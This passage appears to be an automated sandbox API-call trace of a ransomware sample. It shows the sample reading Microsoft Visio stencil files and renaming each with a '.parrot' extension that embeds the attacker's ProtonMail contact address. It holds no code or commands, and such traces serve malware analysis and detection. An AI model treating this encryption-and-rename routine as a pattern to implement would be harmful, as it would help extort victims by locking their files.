[0231.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLMOD_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlmod_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLMOD_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlmod_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.528] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.529] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.530] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12e00, lpOverlapped=0x0) returned 1 [0231.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSEQ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlseq_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSEQ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlseq_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.543] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.578] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12a00, lpOverlapped=0x0) returned 1 [0231.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSEQ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlseq_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSEQ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlseq_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.593] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.594] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.594] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11600, lpOverlapped=0x0) returned 1 [0231.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTA_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlsta_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTA_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlsta_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.609] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.609] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.610] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.611] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11200, lpOverlapped=0x0) returned 1 [0231.615] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTA_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlsta_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTA_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlsta_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.638] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.638] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.639] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.639] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x36600, lpOverlapped=0x0) returned 1 [0231.648] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlstr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlstr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.662] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.662] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.664] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.664] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x35e00, lpOverlapped=0x0) returned 1 [0231.678] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlstr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLSTR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlstr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.694] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.694] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.696] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfa00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfa00, lpOverlapped=0x0) returned 1 [0231.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLUSE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umluse_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLUSE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umluse_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.716] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.718] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf800, lpOverlapped=0x0) returned 1 [0231.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLUSE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umluse_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLUSE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umluse_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.733] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.767] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.768] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.768] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22c00, lpOverlapped=0x0) returned 1 [0231.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE1_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve1_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE1_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve1_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.786] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.786] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.787] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.787] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20e00, lpOverlapped=0x0) returned 1 [0231.823] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE1_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve1_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE1_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve1_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.877] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.877] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.879] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.879] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17a00, lpOverlapped=0x0) returned 1 [0231.887] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE2_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve2_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE2_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve2_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.902] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.902] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.904] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.904] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15400, lpOverlapped=0x0) returned 1 [0232.015] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE2_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve2_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VALVE2_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\valve2_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.026] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.026] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.027] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.027] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x41000, lpOverlapped=0x0) returned 1 [0232.040] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VEHICL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vehicl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VEHICL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vehicl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.194] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.195] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.196] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3fe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3fe00, lpOverlapped=0x0) returned 1 [0232.205] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VEHICL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vehicl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VEHICL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vehicl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.304] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.304] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.306] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ae00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ae00, lpOverlapped=0x0) returned 1 [0232.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VIDSUR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vidsur_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VIDSUR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vidsur_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.331] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.332] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a200, lpOverlapped=0x0) returned 1 [0232.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VIDSUR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vidsur_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VIDSUR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vidsur_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.397] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.397] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.398] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d800, lpOverlapped=0x0) returned 1 [0232.405] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\VSM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\vsm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0232.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0232.418] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0232.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.419] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd400, lpNumberOfBytesRead=0x18ebe4, 